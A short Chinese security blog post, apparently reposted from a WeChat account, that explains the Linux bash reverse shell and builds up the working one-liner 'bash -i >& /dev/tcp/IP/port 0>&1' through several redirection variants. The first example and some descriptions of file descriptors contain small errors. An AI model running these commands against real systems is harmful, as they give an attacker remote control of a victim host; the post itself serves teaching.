Linux bash 反弹Shell

admin 2022年7月18日10:03:48评论16 views字数 645阅读2分9秒阅读模式

反弹:

bash -I >& /tcp/dev/127.0.0.1/9999 0>&1

反弹(反向):被控制端连接攻击者,攻击者监听端口等待被控制端连接我们



bash -I 创建一个交互式的bash shell

/dev/tcp 特殊设备文件,是bash用来实现网络请求的一个文件,打开该文件意味着调用socket。建立一个socket连接就意味着使用该socket接口传输数据。  同理有:/tcp/udp


 Linux系统的文件描述符与重定向:

 

 >或者>>:     标准输出

 <或者<<: 标准输入

 2>或者2>>: 标准错误输出

 >&或者&> 混输出,即表示标准输入1+标准错误输出2

 

实例展示;

 

bash -i > /dev/tcp/192.168.1.102/7777

 将被控制端的标准输出输出到攻击端,但攻击端并没有执行命令的权限

 

 bash -i < /dev/tcp/192.168.1.102/7777

 将攻击端的输入重定向到被控端,但攻击端看不到执行命令的结果,命令还是可以正常执行

 

 

bash -i >/dev/tcp/192.168.1.102/7777 0>&1    

 

 攻击端可以执行命令,也可以看到正确执行命令的结果,但是看不到错误命令执行的报错信息,因为使用的是>标准输出,并没有使用>&将标准结果和错误结果都重定向到攻击端,所以攻击端看不到

 

 bash -i >& /dev/tcp/192.168.1.102/7777 0>&1

 最终我们反弹shell的命令


原文始发于微信公众号(增益安全):Linux bash 反弹Shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月18日10:03:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux bash 反弹Shellhttps://cn-sec.com/archives/784382.html

发表评论

匿名网友 填写信息